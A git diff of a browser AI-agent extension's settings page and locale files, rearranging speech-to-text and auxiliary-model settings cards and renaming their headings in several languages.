- <div style="font-size:12px;color:var(--text2);margin-bottom:12px;line-height:1.5;" data-i18n="st.transcription.desc"></div>
- <div class="field">
- <label class="mm-field-label">
- <span data-i18n="st.provider.field.api_base_url"></span>
- <span class="mm-detected-provider" id="transcription-detected" hidden>
- <img class="provider-icon" id="transcription-detected-icon" alt="" width="16" height="16" decoding="async" draggable="false">
- <span id="transcription-detected-label"></span>
- </span>
- </label>
- <input type="text" id="transcription-base-url" placeholder="https://api.openai.com/v1">
- </div>
- <div class="field">
- <label data-i18n="st.provider.field.api_key"></label>
- <input type="password" id="transcription-api-key" placeholder="sk-...">
- </div>
- <div class="field">
- <label data-i18n="st.provider.field.model"></label>
- <input type="text" id="transcription-model" placeholder="whisper-1">
- </div>
- <div class="btn-row">
- <button class="btn-primary" id="btn-save-transcription" data-i18n="st.transcription.save"></button>
- <button class="btn-secondary" id="btn-test-transcription" data-i18n="st.transcription.test"></button>
- <button class="btn-secondary" id="btn-clear-transcription" data-i18n="st.transcription.clear"></button>
- </div>
- <div class="test-result" id="test-transcription"></div>
- </div>
-
<h3 data-i18n="st.imageBudget.heading" style="margin:24px 0 12px;font-size:14px;font-weight:600;"></h3>
<div class="provider-card" id="image-budget-card">
<div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.5;" data-i18n="st.imageBudget.desc"></div>
@@ -2052,6 +1947,117 @@
</div>
<div class="info-box" data-i18n-html="st.redaction.warning"></div>
</div>
+
+ <h3 class="mm-section-heading">
+ <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
+ <path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"/>
+ <path d="M19 10v2a7 7 0 0 1-14 0v-2"/>
+ <line x1="12" y1="19" x2="12" y2="23"/>
+ <line x1="8" y1="23" x2="16" y2="23"/>
+ </svg>
+ <span data-i18n="st.transcription.heading"></span>
+ </h3>
+ <div class="provider-card" id="transcription-card">
+ <div style="font-size:12px;color:var(--text2);margin-bottom:12px;line-height:1.5;" data-i18n="st.transcription.desc"></div>
+ <div class="field">
+ <label class="mm-field-label">
+ <span data-i18n="st.provider.field.api_base_url"></span>
+ <span class="mm-detected-provider" id="transcription-detected" hidden>
+ <img class="provider-icon" id="transcription-detected-icon" alt="" width="16" height="16" decoding="async" draggable="false">
+ <span id="transcription-detected-label"></span>
+ </span>
+ </label>
+ <input type="text" id="transcription-base-url" placeholder="https://api.openai.com/v1">
+ </div>
+ <div class="field">
+ <label data-i18n="st.provider.field.api_key"></label>
+ <input type="password" id="transcription-api-key" placeholder="sk-...">
+ </div>
+ <div class="field">
+ <label data-i18n="st.provider.field.model"></label>
+ <input type="text" id="transcription-model" placeholder="whisper-1">
+ </div>
+ <div class="btn-row">
+ <button class="btn-primary" id="btn-save-transcription" data-i18n="st.transcription.save"></button>
+ <button class="btn-secondary" id="btn-test-transcription" data-i18n="st.transcription.test"></button>
+ <button class="btn-secondary" id="btn-clear-transcription" data-i18n="st.transcription.clear"></button>
+ </div>
+ <div class="test-result" id="test-transcription"></div>
+ </div>
+
+ <h3 class="mm-section-heading" id="system-one-heading">
+ <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
+ <circle cx="12" cy="12" r="9"/>
+ <path d="m8 12 3 3 5-6"/>
+ </svg>
+ <span data-i18n="st.system_one.title"></span>
+ </h3>
+ <div class="provider-card" id="system-one-card" aria-labelledby="system-one-heading">
+ <div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.55;" data-i18n-html="st.system_one.desc_html"></div>
+
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.enabled.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+
+ <div class="field">
+ <label for="system-one-api-key" data-i18n="st.system_one.api_key.label"></label>
+ <input type="password" id="system-one-api-key" placeholder="ts_…" autocomplete="off" spellcheck="false">
+ </div>
+
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.watch.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one-watch">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.completion.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one-completion">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+
+ <div class="setting-row">
+ <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_classifications"></div></div>
+ <label class="toggle"><input type="checkbox" id="toggle-system-one-classifications"><span class="toggle-slider"></span></label>
+ </div>
+ <div class="setting-row">
+ <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_browser"></div></div>
+ <label class="toggle"><input type="checkbox" id="toggle-system-one-browser"><span class="toggle-slider"></span></label>
+ </div>
+ <details class="advanced-settings">
+ <summary data-i18n="st.display.advanced"></summary>
+ <div class="field">
+ <label for="range-system-one-watch-threshold"><span data-i18n="st.system_one.watch_threshold"></span> <span id="system-one-watch-threshold-value">70%</span></label>
+ <input type="range" id="range-system-one-watch-threshold" min="50" max="95" step="5" value="70">
+ </div>
+ <div class="field">
+ <label for="range-system-one-completion-threshold"><span data-i18n="st.system_one.completion_threshold"></span> <span id="system-one-completion-threshold-value">70%</span></label>
+ <input type="range" id="range-system-one-completion-threshold" min="50" max="95" step="5" value="70">
+ </div>
+
+ </details>
+ <div class="btn-row">
+ <button class="btn-primary" id="btn-save-system-one" data-i18n="st.providers.save"></button>
+ <button class="btn-secondary" id="btn-test-system-one" data-i18n="st.providers.test"></button>
+ <button class="btn-secondary" id="btn-clear-system-one" data-i18n="st.system_one.clear"></button>
+ </div>
+ <div class="test-result" id="test-system-one"></div>
+
+ <div class="info-box" style="margin-top:16px;" data-i18n-html="st.system_one.security_html"></div>
+ </div>
</section>
<section class="tab-panel" data-panel="memory" role="tabpanel">
diff --git a/src/firefox/src/ui/locales/ar.js b/src/firefox/src/ui/locales/ar.js
index c4c347bf8..b073a727c 100644
--- a/src/firefox/src/ui/locales/ar.js
+++ b/src/firefox/src/ui/locales/ar.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'المزوّدون النشطون',
'sp.providers.active': 'نشط',
'sp.providers.more': 'المزيد…',
- "st.system_one.heading": "نماذج مساعدة",
"st.system_one.desc_html": "تحقق إضافي من المراقبة المجدولة وإتمام المهام.",
"st.system_one.enabled.label": "تفعيل Jev",
"st.system_one.api_key.label": "مفتاح API لـ TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "وضع الرؤية <strong>مُفعّل</strong> للمزوّد النشط.",
"sp.vision.off": "وضع الرؤية <strong>مُعطّل</strong> للمزوّد النشط.",
"sp.vision.error": "فشل تبديل وضع الرؤية: {msg}",
- "st.tab.multimodal": "متعدّد الوسائط",
+ "st.tab.multimodal": "النماذج المساعدة",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "موصى به. عند تفعيله، يطلب WebBrain الإذن في أول مرّة ينقر فيها أو يكتب أو يتنقّل أو يُشغّل JavaScript أو يرفع أو يُنزّل أو يُسجّل على موقع (ثم يتذكّر اختيارك). عطّله للاستخدام السريع دون مطالبات على المواقع التي تثق بها تمامًا.",
"st.perms.gate.warning": "⚠️ مطالبات الأذونات مُعطّلة. سينقر WebBrain ويكتب ويتنقّل ويُشغّل JavaScript ويرفع ويُنزّل ويُسجّل على أي موقع دون أن يسأل — بما في ذلك على الصفحات التي قد يتحكّم في محتواها مهاجم. لا يزال محتوى الصفحة يُعامَل داخليًا كغير موثوق، لكن لا شيء سيمنع تعليمة محقونة من تشغيل إجراء. لا تُبقِ هذا معطّلًا إلا إذا كنت تثق تمامًا بكل موقع تستخدم المساعد عليه.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "اقرأ إعلان تكامل Ollama",
"st.provider.field.model_custom": "مخصّص...",
"st.vision.heading": "الرؤية",
- "st.transcription.heading": "تفريغ الصوت",
+ "st.transcription.heading": "تحويل الكلام إلى نص",
"st.transcription.desc": "يُستخدَم في تفريغ صوت مُسجّل علامة التبويب. إذا ضُبط، يُرسَل الصوت إلى نقطة النهاية هذه المتوافقة مع Whisper. اتركه فارغًا للاختيار التلقائي من المزوّدات المُهيّأة (OpenAI ← Groq ← LM Studio ← llama.cpp). نقاط /v1/audio/transcriptions المتوافقة مع OpenAI فقط.",
"st.transcription.save": "حفظ",
"st.transcription.test": "اختبار الاتصال",
diff --git a/src/firefox/src/ui/locales/bn.js b/src/firefox/src/ui/locales/bn.js
index f0b5d2558..ff0115cb8 100644
--- a/src/firefox/src/ui/locales/bn.js
+++ b/src/firefox/src/ui/locales/bn.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': "প্রদানকারী",
'st.tab.skills': "দক্ষতা",
'st.tab.vision': "দৃষ্টি",
- 'st.tab.multimodal': "মাল্টিমডাল",
+ 'st.tab.multimodal': "সহায়ক মডেল",
'st.tab.memory': "স্মৃতি",
'st.tab.profile': "প্রোফাইল",
'st.tab.account': "হিসাব",
@@ -866,7 +866,7 @@ export default {
'st.vision.failed': "ব্যর্থ হয়েছে: {error}",
'st.vision.fill_required': "প্রথমে বেস URL এবং মডেল পূরণ করুন।",
- 'st.transcription.heading': "প্রতিলিপি",
+ 'st.transcription.heading': "কথা থেকে লেখা",
'st.transcription.desc': "ট্যাব রেকর্ডার ট্রান্সক্রিপশন দ্বারা ব্যবহৃত। সেট করা হলে, এই হুইস্পার-সামঞ্জস্যপূর্ণ এন্ডপয়েন্টে অডিও পাঠানো হয়। কনফিগার করা প্রদানকারীদের থেকে স্বয়ংক্রিয়ভাবে বাছাই করতে ফাঁকা ছেড়ে দিন (OpenAI → Groq → LM Studio → llama.cpp)। OpenAI- সামঞ্জস্যপূর্ণ /v1/audio/ট্রান্সক্রিপশন শুধুমাত্র।",
'st.transcription.save': "সংরক্ষণ করুন",
'st.transcription.test': "পরীক্ষা সংযোগ",
@@ -957,7 +957,6 @@ export default {
'st.captcha.balance_fail': "ব্যর্থ হয়েছে: {error}",
'st.captcha.security_html': "<strong>হেড-আপ:</strong> API কী সংরক্ষণ করা হয় <strong>প্লেইনটেক্সট</strong> ব্রাউজার স্থানীয় স্টোরেজে। CapSolver প্রতিটি সমাধানের জন্য আপনার অ্যাকাউন্ট চার্জ করে; এজেন্ট কেবল তখনই এটিকে কল করবে যখন একটি ক্যাপচা প্রকৃতপক্ষে একটি পদক্ষেপকে ব্লক করে (প্রতি এনকাউন্টারে সর্বোচ্চ একবার - এটি ব্যর্থ হলে পুনরায় চেষ্টা করবে না)। কিছু সাইটের পরিষেবার শর্তাবলী স্বয়ংক্রিয় ক্যাপচা সমাধান নিষিদ্ধ করে; আপনার রায় ব্যবহার করুন।",
- "st.system_one.heading": "সহায়ক মডেল",
"st.system_one.desc_html": "নির্ধারিত পর্যবেক্ষণ ও কাজ সম্পন্ন হওয়ার অতিরিক্ত যাচাই।",
"st.system_one.enabled.label": "Jev চালু করুন",
"st.system_one.api_key.label": "TypeSafe API কী",
diff --git a/src/firefox/src/ui/locales/de.js b/src/firefox/src/ui/locales/de.js
index 435b660c3..35cad4ed4 100644
--- a/src/firefox/src/ui/locales/de.js
+++ b/src/firefox/src/ui/locales/de.js
@@ -571,7 +571,7 @@ export default {
'st.tab.providers': 'Anbieter',
'st.tab.skills': 'Skills',
'st.tab.vision': 'Vision',
- 'st.tab.multimodal': 'Multimodal',
+ 'st.tab.multimodal': "Assistenzmodelle",
'st.tab.memory': 'Memorie',
'st.tab.profile': 'Profil',
'st.tab.account': 'Konto',
@@ -806,7 +806,7 @@ export default {
'st.vision.fill_required': 'Füllen Sie zuerst die Basis-URL und das Modell aus.',
// --- Transcription settings ---
- 'st.transcription.heading': 'Transkription',
+ 'st.transcription.heading': "Sprache zu Text",
'st.transcription.desc': 'Wird von der Tab-Recorder-Transkription verwendet. Wenn gesetzt, wird Audio an diesen Whisper-kompatiblen Endpoint gesendet...',
'st.transcription.save': 'Speichern',
'st.transcription.test': 'Verbindung testen',
@@ -898,7 +898,6 @@ export default {
'st.captcha.balance_fail': 'Fehlgeschlagen: {error}',
'st.captcha.security_html': '<strong>Hinweis:</strong> Der API-Schlüssel wird als Klartext im Browser-Speicher gespeichert...',
- "st.system_one.heading": "Hilfsmodelle",
"st.system_one.desc_html": "Zusätzliche Prüfung geplanter Überwachungen und Aufgabenabschlüsse.",
"st.system_one.enabled.label": "Jev aktivieren",
"st.system_one.api_key.label": "TypeSafe-API-Schlüssel",
diff --git a/src/firefox/src/ui/locales/en.js b/src/firefox/src/ui/locales/en.js
index c1c9febb2..860499e7d 100644
--- a/src/firefox/src/ui/locales/en.js
+++ b/src/firefox/src/ui/locales/en.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': 'Providers',
'st.tab.skills': 'Skills',
'st.tab.vision': 'Vision',
- 'st.tab.multimodal': 'Multimodal',
+ 'st.tab.multimodal': "Assistive Models",
'st.tab.memory': 'Memory',
'st.tab.profile': 'Profile',
'st.tab.account': 'Account',
@@ -867,7 +867,7 @@ export default {
'st.vision.failed': 'Failed: {error}',
'st.vision.fill_required': 'Fill in Base URL and Model first.',
- 'st.transcription.heading': 'Transcription',
+ 'st.transcription.heading': "Speech to text",
'st.transcription.desc': 'Used by Tab Recorder transcription. If set, audio is sent to this Whisper-compatible endpoint. Leave blank to auto-pick from the configured providers (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-compatible /v1/audio/transcriptions only.',
'st.transcription.save': 'Save',
'st.transcription.test': 'Test Connection',
@@ -959,7 +959,6 @@ export default {
'st.captcha.balance_fail': 'Failed: {error}',
'st.captcha.security_html': '<strong>Heads-up:</strong> the API key is stored <strong>in plaintext</strong> in browser local storage. CapSolver charges your account for every solve; the agent will only call it when a CAPTCHA actually blocks a step (max once per encounter — it won\'t retry on failure). Some sites\' terms of service prohibit automated CAPTCHA solving; use your judgement.',
- "st.system_one.heading": "Auxiliary models",
"st.system_one.desc_html": "Extra verification for scheduled watches and task completion.",
"st.system_one.enabled.label": "Enable Jev",
"st.system_one.api_key.label": "TypeSafe API key",
diff --git a/src/firefox/src/ui/locales/es.js b/src/firefox/src/ui/locales/es.js
index 5e3490d5b..6e6b76ac7 100644
--- a/src/firefox/src/ui/locales/es.js
+++ b/src/firefox/src/ui/locales/es.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Proveedores activos',
'sp.providers.active': 'Activo',
'sp.providers.more': 'Más…',
- "st.system_one.heading": "Modelos auxiliares",
"st.system_one.desc_html": "Verificación adicional de seguimientos y tareas programadas.",
"st.system_one.enabled.label": "Activar Jev",
"st.system_one.api_key.label": "Clave API de TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Modo de visión <strong>activado</strong> para el proveedor activo.",
"sp.vision.off": "Modo de visión <strong>desactivado</strong> para el proveedor activo.",
"sp.vision.error": "Falló el cambio del modo de visión: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Modelos auxiliares",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Recomendado. Cuando está activado, WebBrain pide permiso la primera vez que hace clic, escribe, navega, ejecuta JavaScript, sube, descarga o graba en un sitio (y luego recuerda tu elección). Desactívalo para un uso rápido y sin avisos en sitios en los que confías plenamente.",
"st.perms.gate.warning": "⚠️ Los avisos de permiso están DESACTIVADOS. WebBrain hará clic, escribirá, navegará, ejecutará JavaScript, subirá, descargará y grabará en cualquier sitio SIN preguntar, incluso en páginas cuyo contenido pueda estar controlado por un atacante. El contenido de la página se sigue tratando como no fiable internamente, pero nada impedirá que una instrucción inyectada desencadene una acción. Deja esto desactivado solo si confías plenamente en todos los sitios donde usas el asistente.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Leer el anuncio de integración con Ollama",
"st.provider.field.model_custom": "Personalizado...",
"st.vision.heading": "Visión",
- "st.transcription.heading": "Transcripción",
+ "st.transcription.heading": "Voz a texto",
"st.transcription.desc": "Usado por la transcripción del Grabador de pestañas. Si se define, el audio se envía a este endpoint compatible con Whisper. Déjalo en blanco para elegir automáticamente entre los proveedores configurados (OpenAI → Groq → LM Studio → llama.cpp). Solo /v1/audio/transcriptions compatible con OpenAI.",
"st.transcription.save": "Guardar",
"st.transcription.test": "Probar conexión",
diff --git a/src/firefox/src/ui/locales/fa.js b/src/firefox/src/ui/locales/fa.js
index a168bffc6..17fbd222f 100644
--- a/src/firefox/src/ui/locales/fa.js
+++ b/src/firefox/src/ui/locales/fa.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': "ارائه دهندگان",
'st.tab.skills': "مهارت ها",
'st.tab.vision': "چشم انداز",
- 'st.tab.multimodal': "چند وجهی",
+ 'st.tab.multimodal': "مدل‌های کمکی",
'st.tab.memory': "حافظه",
'st.tab.profile': "نمایه",
'st.tab.account': "حساب",
@@ -866,7 +866,7 @@ export default {
'st.vision.failed': "ناموفق: {error}",
'st.vision.fill_required': "ابتدا Base URL و Model را پر کنید.",
- 'st.transcription.heading': "رونویسی",
+ 'st.transcription.heading': "گفتار به متن",
'st.transcription.desc': "استفاده شده توسط رونویسی Tab Recorder. در صورت تنظیم، صدا به این نقطه پایانی سازگار با Whisper ارسال می‌شود. برای انتخاب خودکار از ارائه دهندگان پیکربندی شده (OpenAI → Groq → LM Studio → llama.cpp) را خالی بگذارید. OpenAI فقط /v1/audio/transcriptions سازگار است.",
'st.transcription.save': "ذخیره کنید",
'st.transcription.test': "تست اتصال",
@@ -957,7 +957,6 @@ export default {
'st.captcha.balance_fail': "ناموفق: {error}",
'st.captcha.security_html': "<strong>هدآپ:</strong> کلید API ذخیره می شود <strong>در متن ساده</strong> در حافظه محلی مرورگر CapSolver برای هر حل حساب شما را شارژ می کند. عامل فقط زمانی آن را فراخوانی می کند که یک CAPTCHA در واقع یک مرحله را مسدود کند (حداکثر یک بار در هر برخورد - در صورت شکست مجدداً تلاش نمی کند). شرایط خدمات برخی از سایت ها حل خودکار CAPTCHA را ممنوع می کند. از قضاوت خود استفاده کنید",
- "st.system_one.heading": "مدل‌های کمکی",
"st.system_one.desc_html": "بررسی تکمیلی پایش‌های زمان‌بندی‌شده و تکمیل کارها.",
"st.system_one.enabled.label": "فعال‌سازی Jev",
"st.system_one.api_key.label": "کلید API تایپ‌سیف",
diff --git a/src/firefox/src/ui/locales/fr.js b/src/firefox/src/ui/locales/fr.js
index dc45227ac..692b98c62 100644
--- a/src/firefox/src/ui/locales/fr.js
+++ b/src/firefox/src/ui/locales/fr.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Fournisseurs actifs',
'sp.providers.active': 'Actif',
'sp.providers.more': 'Plus…',
- "st.system_one.heading": "Modèles auxiliaires",
"st.system_one.desc_html": "Vérification supplémentaire des surveillances et tâches planifiées.",
"st.system_one.enabled.label": "Activer Jev",
"st.system_one.api_key.label": "Clé API TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Mode vision <strong>activé</strong> pour le fournisseur actif.",
"sp.vision.off": "Mode vision <strong>désactivé</strong> pour le fournisseur actif.",
"sp.vision.error": "Échec du basculement de la vision : {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Modèles auxiliaires",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Recommandé. Lorsque activé, WebBrain demande l'autorisation la première fois qu'il clique, saisit du texte, navigue, exécute du JavaScript, téléverse, télécharge ou enregistre sur un site (puis mémorise votre choix). Désactivez-le pour une utilisation rapide et sans invite sur les sites en lesquels vous avez pleinement confiance.",
"st.perms.gate.warning": "⚠️ Les demandes d'autorisation sont DÉSACTIVÉES. WebBrain cliquera, saisira du texte, naviguera, exécutera du JavaScript, téléversera, téléchargera et enregistrera sur n'importe quel site SANS demander — y compris sur des pages dont le contenu peut être contrôlé par un attaquant. Le contenu des pages reste traité comme non fiable en interne, mais rien n'empêchera une instruction injectée de déclencher une action. Ne laissez ceci désactivé que si vous avez pleinement confiance en chaque site sur lequel vous utilisez l'assistant.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Lire l’annonce d’intégration d’Ollama",
"st.provider.field.model_custom": "Personnalisé...",
"st.vision.heading": "Vision",
- "st.transcription.heading": "Transcription",
+ "st.transcription.heading": "Parole en texte",
"st.transcription.desc": "Utilisé par la transcription de l'enregistreur d'onglet. Si défini, l'audio est envoyé à cet endpoint compatible Whisper. Laissez vide pour choisir automatiquement parmi les fournisseurs configurés (OpenAI → Groq → LM Studio → llama.cpp). Uniquement /v1/audio/transcriptions compatible OpenAI.",
"st.transcription.save": "Enregistrer",
"st.transcription.test": "Tester la connexion",
diff --git a/src/firefox/src/ui/locales/he.js b/src/firefox/src/ui/locales/he.js
index c8b21823a..2c05ff3c3 100644
--- a/src/firefox/src/ui/locales/he.js
+++ b/src/firefox/src/ui/locales/he.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'ספקים פעילים',
'sp.providers.active': 'פעיל',
'sp.providers.more': 'עוד…',
- "st.system_one.heading": "מודלים מסייעים",
"st.system_one.desc_html": "אימות נוסף למעקבים מתוזמנים ולהשלמת משימות.",
"st.system_one.enabled.label": "הפעלת Jev",
"st.system_one.api_key.label": "מפתח API של TypeSafe",
@@ -524,7 +523,7 @@ export default {
"st.tab.providers": "ספקים",
"st.tab.skills": "מיומנויות",
"st.tab.vision": "ראייה",
- "st.tab.multimodal": "מולטי-מודאלי",
+ "st.tab.multimodal": "מודלים מסייעים",
"sp.slash.workflows": "הצגה וניהול של תהליכי עבודה שמורים",
"sp.slash.teach": "הקלטת הפעולות שלך כתהליך עבודה שמור",
"sp.slash.run_workflow": "הפעלת תהליך עבודה שמור לפי מזהה",
@@ -781,7 +780,7 @@ export default {
"st.vision.connected": "מחובר! מודל: {model}",
"st.vision.failed": "נכשל: {error}",
"st.vision.fill_required": "יש למלא תחילה כתובת URL בסיסית ומודל.",
- "st.transcription.heading": "תמלול",
+ "st.transcription.heading": "דיבור לטקסט",
"st.transcription.desc": "בשימוש על ידי Tab תמלול מקליט. אם מוגדר, אודיו נשלח לזה Whisper-נקודת קצה תואמת. השאר ריק כדי לבחור אוטומטית מהספקים המוגדרים (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-תוֹאֵם /v1/audio/transcriptions רַק.",
"st.transcription.save": "שמור",
"st.transcription.test": "בדיקת חיבור",
diff --git a/src/firefox/src/ui/locales/hi.js b/src/firefox/src/ui/locales/hi.js
index 55a44b19c..9905ecca7 100644
--- a/src/firefox/src/ui/locales/hi.js
+++ b/src/firefox/src/ui/locales/hi.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': "प्रदाता",
'st.tab.skills': "कौशल",
'st.tab.vision': "दृष्टि",
- 'st.tab.multimodal': "मल्टीमॉडल",
+ 'st.tab.multimodal': "सहायक मॉडल",
'st.tab.memory': "स्मृति",
'st.tab.profile': "प्रोफाइल",
'st.tab.account': "खाता",
@@ -866,7 +866,7 @@ export default {
'st.vision.failed': "विफल: {error}",
'st.vision.fill_required': "सबसे पहले बेस यूआरएल और मॉडल भरें।",
- 'st.transcription.heading': "प्रतिलेखन",
+ 'st.transcription.heading': "वाक् से पाठ",
'st.transcription.desc': "टैब रिकॉर्डर प्रतिलेखन द्वारा उपयोग किया जाता है। यदि सेट किया गया है, तो ऑडियो इस व्हिस्पर-संगत एंडपॉइंट पर भेजा जाता है। कॉन्फ़िगर किए गए प्रदाताओं से ऑटो-पिक करने के लिए खाली छोड़ दें (OpenAI → Groq → LM Studio → llama.cpp)। केवल OpenAI-संगत /v1/ऑडियो/ट्रांसक्रिप्शन।",
'st.transcription.save': "सहेजें",
'st.transcription.test': "परीक्षण कनेक्शन",
@@ -957,7 +957,6 @@ export default {
'st.captcha.balance_fail': "विफल: {error}",
'st.captcha.security_html': "<strong>सावधान:</strong> एपीआई कुंजी संग्रहीत है <strong>सादे पाठ में</strong> ब्राउज़र स्थानीय भंडारण में. कैपसॉल्वर प्रत्येक समाधान के लिए आपके खाते से शुल्क लेता है; एजेंट इसे केवल तभी कॉल करेगा जब कैप्चा वास्तव में एक चरण को अवरुद्ध करता है (प्रति मुठभेड़ अधिकतम एक बार - यह विफलता पर पुनः प्रयास नहीं करेगा)। कुछ साइटों की सेवा की शर्तें स्वचालित कैप्चा समाधान पर रोक लगाती हैं; अपने निर्णय का प्रयोग करें.",
- "st.system_one.heading": "सहायक मॉडल",
"st.system_one.desc_html": "निर्धारित निगरानी और कार्य पूर्ण होने की अतिरिक्त जाँच।",
"st.system_one.enabled.label": "Jev चालू करें",
"st.system_one.api_key.label": "TypeSafe API कुंजी",
diff --git a/src/firefox/src/ui/locales/id.js b/src/firefox/src/ui/locales/id.js
index 7926d3ca9..ffb29b091 100644
--- a/src/firefox/src/ui/locales/id.js
+++ b/src/firefox/src/ui/locales/id.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Penyedia aktif',
'sp.providers.active': 'Aktif',
'sp.providers.more': 'Lainnya…',
- "st.system_one.heading": "Model pendukung",
"st.system_one.desc_html": "Verifikasi tambahan untuk pemantauan terjadwal dan penyelesaian tugas.",
"st.system_one.enabled.label": "Aktifkan Jev",
"st.system_one.api_key.label": "Kunci API TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Mode visi <strong>diaktifkan</strong> untuk penyedia aktif.",
"sp.vision.off": "Mode visi <strong>dinonaktifkan</strong> untuk penyedia aktif.",
"sp.vision.error": "Pengalihan visi gagal: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Model Pendukung",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Disarankan. Saat aktif, WebBrain meminta izin pertama kali ia mengeklik, mengetik, menavigasi, menjalankan JavaScript, mengunggah, mengunduh, atau merekam pada sebuah situs (lalu mengingat pilihan Anda). Matikan untuk penggunaan cepat tanpa konfirmasi pada situs yang sepenuhnya Anda percayai.",
"st.perms.gate.warning": "⚠️ Konfirmasi izin NONAKTIF. WebBrain akan mengeklik, mengetik, menavigasi, menjalankan JavaScript, mengunggah, mengunduh, dan merekam pada situs apa pun TANPA bertanya — termasuk pada halaman yang kontennya mungkin dikendalikan penyerang. Konten halaman tetap diperlakukan sebagai tidak tepercaya secara internal, tetapi tidak ada yang akan mencegah instruksi yang disisipkan memicu sebuah tindakan. Biarkan nonaktif hanya jika Anda sepenuhnya memercayai setiap situs tempat Anda memakai asisten ini.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Baca pengumuman integrasi Ollama",
"st.provider.field.model_custom": "Kustom...",
"st.vision.heading": "Visi",
- "st.transcription.heading": "Transkripsi",
+ "st.transcription.heading": "Ucapan ke teks",
"st.transcription.desc": "Digunakan oleh transkripsi Tab Recorder. Jika diatur, audio dikirim ke endpoint kompatibel-Whisper ini. Kosongkan agar dipilih otomatis dari penyedia yang dikonfigurasi (OpenAI → Groq → LM Studio → llama.cpp). Hanya /v1/audio/transcriptions yang kompatibel dengan OpenAI.",
"st.transcription.save": "Simpan",
"st.transcription.test": "Uji Koneksi",
diff --git a/src/firefox/src/ui/locales/ja.js b/src/firefox/src/ui/locales/ja.js
index fdc897d95..1e1c55ae5 100644
--- a/src/firefox/src/ui/locales/ja.js
+++ b/src/firefox/src/ui/locales/ja.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '有効なプロバイダー',
'sp.providers.active': '有効',
'sp.providers.more': 'その他…',
- "st.system_one.heading": "補助モデル",
"st.system_one.desc_html": "定期監視と予約タスクの完了を追加検証します。",
"st.system_one.enabled.label": "Jev を有効にする",
"st.system_one.api_key.label": "TypeSafe API キー",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "アクティブなプロバイダーで画像認識モードを<strong>有効</strong>にしました。",
"sp.vision.off": "アクティブなプロバイダーで画像認識モードを<strong>無効</strong>にしました。",
"sp.vision.error": "画像認識の切り替えに失敗しました: {msg}",
- "st.tab.multimodal": "マルチモーダル",
+ "st.tab.multimodal": "補助モデル",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "推奨。オンにすると、WebBrain はサイトで初めてクリック・入力・移動・JavaScript の実行・アップロード・ダウンロード・録画を行うときに権限を尋ねます(その後はあなたの選択を記憶します)。完全に信頼できるサイトで、確認なしに素早く使いたい場合はオフにしてください。",
"st.perms.gate.warning": "⚠️ 権限の確認がオフです。WebBrain はあらゆるサイトで確認なしにクリック・入力・移動・JavaScript の実行・アップロード・ダウンロード・録画を行います — 内容が攻撃者に操作されている可能性のあるページでも同様です。ページの内容は内部的には引き続き信頼できないものとして扱われますが、注入された指示が操作を引き起こすのを止めるものは何もありません。アシスタントを使うすべてのサイトを完全に信頼できる場合にのみ、これをオフのままにしてください。",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama 連携のお知らせを読む",
"st.provider.field.model_custom": "カスタム...",
"st.vision.heading": "画像認識",
- "st.transcription.heading": "文字起こし",
+ "st.transcription.heading": "音声からテキストへ",
"st.transcription.desc": "タブレコーダーの文字起こしで使用します。設定すると、音声はこの Whisper 互換エンドポイントに送られます。空欄にすると、設定済みのプロバイダーから自動選択します(OpenAI → Groq → LM Studio → llama.cpp)。OpenAI 互換の /v1/audio/transcriptions のみ対応。",
